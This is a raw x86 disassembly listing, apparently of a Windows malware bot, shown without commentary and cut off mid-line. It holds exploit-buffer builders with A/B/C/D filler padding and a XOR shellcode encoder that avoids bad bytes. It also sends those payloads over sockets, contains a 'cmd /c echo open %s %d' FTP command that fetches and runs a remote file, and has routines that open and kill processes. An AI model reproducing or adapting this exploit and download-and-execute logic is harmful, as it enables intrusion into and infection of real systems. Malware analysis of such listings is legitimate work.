endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424760 proc near ; CODE XREF: sub_4014FBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424760 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424790 proc near ; CODE XREF: sub_4017CBj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_4247A4 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4247A4: ; CODE XREF: sub_424790+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_444BA4 lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424790 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_401EABj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_4014FB test al, al jnz short loc_42481C pop esi retn 8 ; --------------------------------------------------------------------------- loc_42481C: ; CODE XREF: sub_424800+16j mov ecx, esi call sub_4017CB pop esi retn 8 sub_424800 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401BEAj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424C15 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424C15 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_444840 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_444848 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B68 lea ecx, [esp+864h+var_830] call sub_4017CB mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "BBBB" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B68 push offset loc_444BC8 lea ecx, [esp+868h+var_810] call sub_402036 lea ecx, [esp+864h+var_810] call sub_401B68 mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401834 lea ecx, [esp+864h+var_808] call sub_401B68 mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EAB lea ecx, [esp+864h+var_808] call sub_4016B8 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402036 push 4 push offset dword_44484C lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B68 mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_4014FB mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_4014FB lea ecx, [esp+864h+var_820] call sub_4017CB lea ecx, [esp+864h+var_848] call sub_4016B8 lea ecx, [esp+864h+var_810] call sub_4016B8 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_4014FB mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_4014FB mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_4014FB lea ecx, [esp+864h+var_828] call sub_4017CB lea ecx, [esp+864h+var_840] call sub_4016B8 lea ecx, [esp+864h+var_830] call sub_4016B8 lea ecx, [esp+864h+var_820] call sub_4016B8 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B68 push 2 push offset dword_444BBC lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_4014FB lea ecx, [esp+864h+var_838] call sub_4017CB lea ecx, [esp+864h+var_828] call sub_4016B8 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016B8 push offset dword_444BB8 lea ecx, [esp+868h+var_858] call sub_402036 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_443E90 lea ecx, [esp+868h+var_850] call sub_402036 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016B8 push offset dword_444BAC lea ecx, [esp+868h+var_858] call sub_402036 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_444BA8 lea ecx, [esp+868h+var_818] call sub_402036 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4016B8 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424C15: ; CODE XREF: sub_424840+1Ej ; sub_424840+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424D40 proc near ; CODE XREF: sub_401AB4j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 call near ptr 71AB2DC0h nop cmp eax, 1 jz short loc_424DA9 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DA9: ; CODE XREF: sub_424D40+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_436F60 sub_424D40 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424DC0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DC0: ; CODE XREF: ___:00424DB6j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi nop call near ptr 71AB615Ah pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi call near ptr 71AB2BC0h nop mov edi, [esp+0Ch+arg_0] mov ebx, dword_50FC8C mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx ; send cmp eax, 4 jz short loc_424E53 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424E53: ; CODE XREF: sub_424E20+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx ; send xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424E20 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E90 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424EC3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E90+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_4448DC shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_444854 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_44490C mov [ebx+31h], eax mov ecx, dword_444910 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_50E140 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_50E144 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_424F68 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424F68: ; CODE XREF: sub_424E90+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AB4 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_424FA3 push ebx call near ptr 77C2C21Bh nop add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424E90+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AB4 push ebx nop call near ptr 77C2C21Bh add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424E90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425020 proc near ; CODE XREF: sub_401811j var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = word ptr -410h var_40E = word ptr -40Eh var_40A = dword ptr -40Ah var_406 = dword ptr -406h var_402 = word ptr -402h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 41Ch mov ecx, 0FFh xor eax, eax push ebp push esi push edi lea edi, [esp+428h+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_444A80 lea edi, [esp+428h+var_400] rep movsd movsw mov ecx, offset byte_447551 movsb call sub_4017E4 push eax mov ecx, offset byte_447551 call sub_4017E4 mov ecx, [esp+42Ch+arg_0] push eax mov eax, dword_44768F push eax push ecx call sub_401DF7 add esp, 4 lea edx, [esp+434h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx nop call near ptr 77C3FA76h add eax, 90h lea ecx, [esp+444h+var_418] push eax lea eax, [esp+448h+var_400] push eax push 164h push offset sub_444918 push ecx call sub_401BEA mov eax, [esp+458h+var_414] xor edi, edi add esp, 30h cmp eax, edi jnz short loc_4250C9 xor eax, eax pop edi pop esi pop ebp add esp, 41Ch retn ; --------------------------------------------------------------------------- loc_4250C9: ; CODE XREF: sub_425020+9Bj mov ebp, dword_50FC2C mov [esp+428h+var_41C], edi loc_4250D3: ; CODE XREF: sub_425020+158j test edi, edi jnz loc_42517E push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_425161 mov eax, [esp+428h+arg_9E] xor edx, edx mov dword ptr [esp+428h+var_40E], edx push eax mov [esp+42Ch+var_40A], edx mov [esp+42Ch+var_410], 2 mov [esp+42Ch+var_406], edx mov [esp+42Ch+var_402], dx call ebp ; ntohs lea ecx, [esp+428h+arg_4] mov [esp+428h+var_40E], ax push ecx nop call near ptr 71AB2BF4h lea edx, [esp+428h+var_410] push 10h push edx push esi mov [esp+28h], eax nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz short loc_425156 mov eax, [esp+428h+var_414] mov ecx, [esp+428h+var_418] push eax push ecx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_425156: ; CODE XREF: sub_425020+11Aj push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_42516C loc_425161: ; CODE XREF: sub_425020+CCj push 3E8h nop call near ptr 2821BE4h loc_42516C: ; CODE XREF: sub_425020+13Fj mov eax, [esp+428h+var_41C] inc eax cmp eax, 2 mov [esp+428h+var_41C], eax jl loc_4250D3 loc_42517E: ; CODE XREF: sub_425020+B5j lea ecx, [esp+428h+var_418] call sub_4016B8 test edi, edi jz short loc_4251AE sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E4h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_4251AE: ; CODE XREF: sub_425020+169j pop edi pop esi mov eax, 1 pop ebp add esp, 41Ch retn sub_425020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425230 proc near ; CODE XREF: sub_4013C5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_425230 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425270 proc near ; CODE XREF: sub_40178Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013C5 mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_425295 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_425270+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_444CA8 mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_444D0C, ecx lea ecx, [eax+1] mov dword_444D2D, ecx lea ecx, [eax+17h] mov dword_444D25, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_444D3B, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_444D1C lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_444D20 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_444D21 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_444D25 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_444D29 mov [ecx+8], esi mov esi, dword_444D2D mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_444D31 rep movsd pop edi pop ebp pop esi pop ebx retn sub_425270 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253E0 proc near ; CODE XREF: sub_402162j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013C5 push eax call sub_4017BC add esp, 0Ch retn sub_4253E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_425410: ; CODE XREF: ___:00401735j push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402162 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_425433 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: ___:0042542Bj cmp eax, 0FFFFh jbe short loc_425440 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425440: ; CODE XREF: ___:00425438j push esi push edi push ebx call sub_4013C5 add eax, 101h push eax nop call near ptr 77C2C407h add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013C5 add esp, 8 push eax push esi call sub_40178A push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B77 push esi mov edi, eax call near ptr 77C2C21Bh nop add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254B0 proc near ; CODE XREF: sub_4017BCj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4254B9 inc ecx loc_4254B9: ; CODE XREF: sub_4254B0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4254B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254E0 proc near ; CODE XREF: sub_401B77j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4254F8 cmp bl, 0Dh jz short loc_4254F8 cmp bl, 5Ch jz short loc_4254F8 test bl, bl jnz short loc_4254F9 loc_4254F8: ; CODE XREF: sub_4254E0+8j ; sub_4254E0+Dj ... inc ebx loc_4254F9: ; CODE XREF: sub_4254E0+16j cmp ebx, 0FFh jbe short loc_42551C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_425516 cmp al, 0Dh jz short loc_425516 cmp al, 5Ch jz short loc_425516 test al, al jnz short loc_42551C loc_425516: ; CODE XREF: sub_4254E0+28j ; sub_4254E0+2Cj ... add ebx, 100h loc_42551C: ; CODE XREF: sub_4254E0+1Fj ; sub_4254E0+34j push ebx call sub_4017BC mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_425535 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425535: ; CODE XREF: sub_4254E0+4Fj cmp eax, 0FFFFh jbe short loc_425540 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425540: ; CODE XREF: sub_4254E0+5Aj mov al, byte_50E148 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_425570 loc_425551: ; CODE XREF: sub_4254E0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_425567 cmp cl, 0Ah jz short loc_425567 cmp cl, 0Dh jz short loc_425567 cmp cl, 5Ch jnz short loc_42556B loc_425567: ; CODE XREF: sub_4254E0+76j ; sub_4254E0+7Bj ... inc al xor edx, edx loc_42556B: ; CODE XREF: sub_4254E0+85j inc edx cmp edx, ebx jb short loc_425551 loc_425570: ; CODE XREF: sub_4254E0+6Fj cmp ebx, 0FFh push edi mov byte_50E148, al ja short loc_4255A3 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C90 mov edi, edx mov byte_444C9D, bl mov byte_444CA1, al rep movsd movsb mov esi, 15h jmp short loc_4255C9 ; --------------------------------------------------------------------------- loc_4255A3: ; CODE XREF: sub_4254E0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C78 mov edi, edx mov word_444C86, bx mov byte_444C8B, al rep movsd movsw movsb mov esi, 17h loc_4255C9: ; CODE XREF: sub_4254E0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4255DF add esi, edx loc_4255D2: ; CODE XREF: sub_4254E0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4255D2 loc_4255DF: ; CODE XREF: sub_4254E0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4254E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425640 proc near ; CODE XREF: sub_401E24j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_4491DF[eax*4], ecx mov dword_4491CB[eax*4], ecx mov dword_4491CF[eax*4], ecx mov dword_4491D3[eax*4], ecx mov dword_4491D7[eax*4], ecx mov dword_4491DB[eax*4], ecx mov byte_448FCB[eax*4], cl mov byte_4491E3[eax*4], cl retn sub_425640 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4256B0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_425767 cmp ecx, 400h jge loc_425767 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_4491DF[esi*4] push eax call near ptr 2770771h nop cmp dword_4491DF[esi*4], ebx jz short loc_4256F8 mov ebp, 1 loc_4256F8: ; CODE XREF: sub_4256B0+41j mov dword_4491DF[esi*4], ebx mov dword_4491CB[esi*4], ebx mov dword_4491CF[esi*4], ebx mov eax, dword_4491D3[esi*4] cmp eax, ebx jbe short loc_425721 push eax call sub_401C6C add esp, 4 loc_425721: ; CODE XREF: sub_4256B0+66j mov edi, dword_50FC88 mov dword_4491D3[esi*4], ebx mov byte_448FCB[esi*4], bl mov byte_4491E3[esi*4], bl mov ecx, dword_4491D7[esi*4] push ecx call edi ; closesocket mov dword_4491D7[esi*4], ebx mov edx, dword_4491DB[esi*4] lea esi, ds:4491DBh[esi*4] push edx call edi ; closesocket mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_425767: ; CODE XREF: sub_4256B0+Cj ; sub_4256B0+18j mov eax, ebp pop ebp pop ebx retn sub_4256B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257A0 proc near ; CODE XREF: sub_401D93j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_4491CF loc_4257B1: ; CODE XREF: sub_4257A0+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_4257E5 test ebx, ebx jle short loc_4257D7 cmp [esi], ebx jz short loc_4257C8 cmp edi, ebx jnz short loc_4257E5 loc_4257C8: ; CODE XREF: sub_4257A0+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 jmp short loc_4257E4 ; --------------------------------------------------------------------------- loc_4257D7: ; CODE XREF: sub_4257A0+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 loc_4257E4: ; CODE XREF: sub_4257A0+35j inc ebp loc_4257E5: ; CODE XREF: sub_4257A0+1Aj ; sub_4257A0+26j ... add esi, 234h inc edi cmp esi, offset byte_4D61CF jl short loc_4257B1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_4257A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425820 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 nop call near ptr 2790000h mov esi, eax test esi, esi jz short loc_425855 push 0 push esi call near ptr 2710000h nop test eax, eax jnz short loc_425855 push esi xor edi, edi nop call near ptr 283074Ch loc_425855: ; CODE XREF: sub_425820+1Dj ; sub_425820+2Aj mov eax, edi pop edi pop esi retn sub_425820 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425870 proc near ; CODE XREF: sub_401483j arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_4491CB loc_42587B: ; CODE XREF: sub_425870+1Cj cmp [ecx], edx jnz short loc_425880 inc eax loc_425880: ; CODE XREF: sub_425870+Dj add ecx, 234h cmp ecx, offset byte_4D61CB jl short loc_42587B retn sub_425870 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258A0 proc near ; CODE XREF: sub_401D8Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_4491CB loc_4258AE: ; CODE XREF: sub_4258A0+1Fj cmp [ecx], edx jz short loc_4258C3 add ecx, 234h inc eax cmp ecx, offset byte_4D61CB jl short loc_4258AE mov eax, esi loc_4258C3: ; CODE XREF: sub_4258A0+10j pop esi retn sub_4258A0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258E0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_448FCB loc_4258E8: ; CODE XREF: sub_4258E0+18j cmp byte ptr [eax], 0 jz short loc_4258FE add eax, 234h inc edi cmp eax, offset dword_4D5FCB jl short loc_4258E8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_4258FE: ; CODE XREF: sub_4258E0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:448FCBh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi call near ptr 77C47A90h nop mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword 